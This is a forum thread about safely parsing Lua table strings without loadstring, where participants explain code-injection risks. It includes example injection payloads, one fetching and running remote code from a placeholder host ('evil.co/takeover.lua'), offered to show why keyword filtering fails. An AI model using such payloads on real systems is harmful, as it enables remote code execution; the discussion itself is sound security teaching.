How Can I parse a string to table just like loadstring()

[LittleCoLe]

For example，the string：
local strTest = [=[{ Id = 1234, Name = "中文(321,412)", bNewline = true, Params = {123, 456, 234} }]=]

if I use loadstring, just like
local func = loadstring( "return " .. strTest)
local tblParsed = func()
Then I got the result. But loadstring is a risky function, may cause some dangerous problem. So I want to parse the string for myself.
How can I do this? Is there any existed code I can refer to？

[Lexic]

util.JSONToTable?

[LittleCoLe]

Syntax not exact the Same link Json.

[Lexic]

Slightly different syntax yes, but safer to use. If you convert all your strings to JSON then you don't have to write a custom parser or use loadstring.

[LittleCoLe]

Yes, but we have used the old syntax everywhere, I couldn't change them all to json, it a history problem. So what I can do now is make the parse safer, before I write my own parser, I just filter some lua keyword from the source string, like 'function', 'while', 'repeat', etc.

[Lexic]

That is a start, but as an example,
local str = [=[{foo = game.RunConsoleCommand"exit"}]=]
doesn't have any lua keywords or special characters in it.

[Black Squares]

Any chance you'd be willing to explain the goal here? No idea what's the problem...
If you want to filter out the functions inside then you can literally make the table through loadstring function and then put it through json and back

OP, any chance of actual code from your script instead of example so that it's easier to understand
the scope of the problem?

[Lexic]

While constructing the table, Lua will call game.RunConsoleCommand with the string "exit" as its first parameter and then assign the return value to the key "foo".
Possibly a better example would be
{ foo = loadstring(http.Get('evil.co/takeover.lua'))}
This does have parentheses, but so does OP's original example so...

[Black Squares]

Mate, I don't understand what the OP wants, not what you posted.

[Lexic]

The OP has a been storing all their data (which data, I don't know) as strings of Lua, but has just realised that doing so is incredibly dangerous.
They can't stop doing that because all their old data will break, so they want to be able to read a table from a string without also executing arbitrary code.
They suggested they could filter out keywords like "function" or "while" to stop people loading in code, and I showed why that's not necesarily going to stop people.

[Willox]

I don't know what license this code is behind, but it could be of help: pac3/luadata.lua at master · CapsAdmin/pac3 · GitHub

[Lexic]

GPL-v3

[LittleCoLe]

local funcParam = loadstring("return " .. str)
if funcParam then
setfenv(funcParam, EMPTY_TABLE)
return funcParam()
end

[Lexic]

You should definitely switch to JSON for all new chat messages immediately.

[LittleCoLe]

Chat System is only a sub system in our game, our design data have thousands of messages like this, in so many game systems. And we parse the message in one function, so I am working to make our own parser without 'loadstring'. Maybe lpeg can help, I just ask if there is some sample code to do this.